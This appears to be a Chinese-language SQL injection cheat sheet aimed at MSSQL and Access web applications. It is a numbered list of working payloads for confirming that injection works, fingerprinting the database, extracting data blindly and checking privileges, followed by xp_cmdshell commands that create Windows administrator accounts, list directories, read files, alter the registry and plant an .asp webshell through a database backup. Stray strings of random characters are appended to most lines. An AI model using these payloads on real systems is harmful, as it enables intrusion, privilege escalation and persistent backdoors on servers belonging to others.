1.判断是否有注入;and 1=1 ;and 1=2 B;=Z^$%T
2.初步判断是否是mssql ;and user>0 eUNaq&M
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3.注入参数是字符'and [查询条件] and ''=' `
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 1K@ieVc
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5.判断数据库系统 lF/
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;and (select count(*) from sysobjects)>0 mssql )yig=nn
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;and (select count(*) from msysobjects)>0 access M]{~T7n-
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 )GG9[%H!
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 nn:'<6"oV
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 KM[0aXOtv
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9.(1)猜字段的ascii值(access) Fw-Rv'\
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 u=qK_$d4
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(2)猜字段的ascii值(mssql) ?C fQwY#N
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ~3gazTe9
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10.测试权限结构(mssql) nm<VcCc
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- *\'t$se+
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 'q:7PkN!p
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ;[
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- <v -YMk@
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ] \|2=
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- )N- '~<N
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;and 1=(select IS_MEMBER('db_owner'));-- h&L-G j
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11.添加mssql和系统的帐户 ,_YI:xie|c
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;exec master.dbo.sp_addlogin username;-- 7)<Ib
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;exec master.dbo.sp_password null,username,password;-- &S+*1<|`K
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- n[!QrEeR},
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;exec master.dbo.xp_cmdshell 'net user username password tik*[1it
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- hY{4_ie=8
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- k?Hi_;o
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 3xW:"
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12.(1)遍历目录 <7ANXHuSW
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;create table dirs(paths varchar(100), id int) T7mT:z>:
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;insert dirs exec master.dbo.xp_dirtree 'c:\' t*Ro2QZ
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;and (select top 1 paths from dirs)>0 \6a' p
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) lt4IoE`tk?
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(2)遍历目录 "Y^Fn,c
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Y{e,I-"{
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 L T`T~|pz
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 L=Aj+
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 R6 ej
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ,ynN801\m
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13.mssql中的存储过程 dMjQV&
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xp_regenumvalues 注册表根键, 子键 0[
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 `r=^{Y
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xp_regread 根键,子键,键值名 EqD@o
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;exec xp_regread wb#[&2i
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Bf^K?:r"V
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xp_regwrite 根键,子键, 值名, 值类型, 值 2|exY>`w
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 {Gfsiz6
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 1GR|$E
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xp_regdeletevalue 根键,子键,值名 'dQGb-<_<
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 8EiS\$O-
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 fK@UlMC]7
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14.mssql的backup创建webshell Ek06=2i
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use model 4yMi9Ri4H
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create table cmd(str image); ij?]fXf:)y
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insert into cmd(str) values (''); |l|$Q;
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backup database model to disk='c:\l.asp'; <Z1m9O "sy
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15.mssql内置函数 %&'[? LXD
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;and (select @@version)>0 获得Windows的版本号 qvh8~[
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa n?^oQX}.\
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;and (select user_name())>0 爆当前系统的连接用户 ~WmA55
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;and (select db_name())>0 得到当前连接的数据库 (r.y
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16.简洁的webshell dHn,;Vv^6
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use model }mk z_P(Z
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create table cmd(str image); @C~gU@F
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insert into cmd(str) values (''); \gir
>bw q
backup database model to disk='g:\wwwtest\l.asp';